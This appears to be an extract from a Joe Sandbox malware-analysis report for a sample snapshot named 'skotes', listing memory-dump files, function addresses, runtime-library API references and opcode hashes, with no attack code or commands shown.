Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 10f0025379c5632cfac86b94cbea6435a817cc3285c78fd0473d5397efa42060
Instruction ID: 90e81bb3407b348f5d142e64e37fbc3a2a0643e8a387b2d76999e23699c06cbb
Opcode Fuzzy Hash: 10f0025379c5632cfac86b94cbea6435a817cc3285c78fd0473d5397efa42060
Instruction Fuzzy Hash: F7F0E935A04204B7C724FA54DC83C9EF7F99E93B14B1081EAE51577291DF70AE05C6A2

Function 00BBCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BBCC66

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 5f3d30ab04bd70401d27262421f5984d25a5ca766789051c56856d9e2c24de20
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 2DB1F2329046469FDB15CF28C881BFEBFE5EF55340F1481EAE855EB242D6B49D01CBA0

Function 00BC67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00BC6902
__alloca_probe_16.LIBCMT ref: 00BC6998
__freea.LIBCMT ref: 00BC6A03
__freea.LIBCMT ref: 00BC6A0F

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 815cc2b2ec7dd92df80337182f4334b17a1b6482a19ac4fdb81b4e593e289901
Instruction ID: 1be0783292170a5d5a1cf77afcd8969fe4107f010ad76d2a7a5344aea58514c4
Opcode Fuzzy Hash: 815cc2b2ec7dd92df80337182f4334b17a1b6482a19ac4fdb81b4e593e289901
Instruction Fuzzy Hash: 5381AF72D00259ABDF209EA58881FEE7BF5DF49314F1941EEE845B7281E775CC408BA1

Function 00BB504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00BB5115
___AdjustPointer.LIBCMT ref: 00BB5138
___AdjustPointer.LIBCMT ref: 00BB51D4

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 45f1380a65c25d074ef5c8941ad1246fce10b399fbda161dafac0f641b732cb5
Instruction ID: 6e0b552df05548820e03f6266e4a875f42a81866b9ba9db5a7ecc8b9bacede3e
Opcode Fuzzy Hash: 45f1380a65c25d074ef5c8941ad1246fce10b399fbda161dafac0f641b732cb5
Instruction Fuzzy Hash: 6D510872601A06AFDB399F18D881BFA77F5EF14700F1445ADE80167291E7B1ED41CB92

Function 00BB4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00BB4C66
TypeidsEqual.LIBVCRUNTIME ref: 00BB4C8B
PMDtoOffset.LIBCMT ref: 00BB4CA1
PMDtoOffset.LIBCMT ref: 00BB4D22

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 34f01d5c77065350db4efb52fa364e90ff9c2f2381502425f4f861a44fe1d46d
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: 99515635A042099FDF11CF68C4806FEBBF5FF15354B1444EAE850A7352D7B2AE058B90

Function 00BADB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00BADB64

Part of subcall function 00BA8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00BA8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00BADBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00BADBE9
Concurrency::location::_Assign.LIBCMT ref: 00BADC56

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
